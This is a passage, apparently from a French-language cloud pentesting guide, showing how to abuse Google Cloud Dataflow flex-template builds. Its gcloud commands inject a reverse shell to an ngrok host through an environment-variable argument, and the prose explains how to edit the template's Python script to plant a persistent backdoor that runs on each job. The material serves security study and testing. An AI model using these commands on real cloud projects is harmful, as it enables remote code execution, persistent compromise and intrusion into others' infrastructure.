Create repository where dockerfiles and code is going to be stored

export REPOSITORY=flex-example-python gcloud storage buckets create gs://$REPOSITORY

Create artifact storage

export NAME_ARTIFACT=flex-example-python gcloud artifacts repositories create $NAME_ARTIFACT
–repository-format=docker
–location=us-central1 gcloud auth configure-docker us-central1-docker.pkg.dev

Create template

export NAME_TEMPLATE=flex-template gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json
–image-gcr-path “us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest”
–sdk-language “PYTHON”
–flex-template-base-image “PYTHON3”
–metadata-file “metadata.json”
–py-path “.”
–env “FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py”
–env “FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt”
–env “PYTHONWARNINGS=all:0:antigravity.x:0:0”
–env “/bin/bash -c ‘bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1’ & #%s”
–region=us-central1

</details>

**Pendant la construction, vous obtiendrez une reverse shell** (vous pouvez abuser des env variables comme dans l'exemple précédent ou d'autres paramètres qui configurent le Docker file pour exécuter des choses arbitraires). À ce moment-là, depuis la reverse shell, il est possible de **se rendre dans le répertoire `/template` et modifier le code du script python principal qui sera exécuté (dans notre exemple il s'agit de `getting_started.py`)**. Installez votre backdoor ici afin qu'à chaque exécution du job, elle soit exécutée.

Alors, la prochaine fois que le job sera exécuté, le container compromis construit sera lancé :

<details>

<summary>Run Dataflow template</summary>
```bash
# Run template
gcloud dataflow $NAME_TEMPLATE run testing \
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
--parameters=output="gs://$REPOSITORY/out" \
--region=us-central1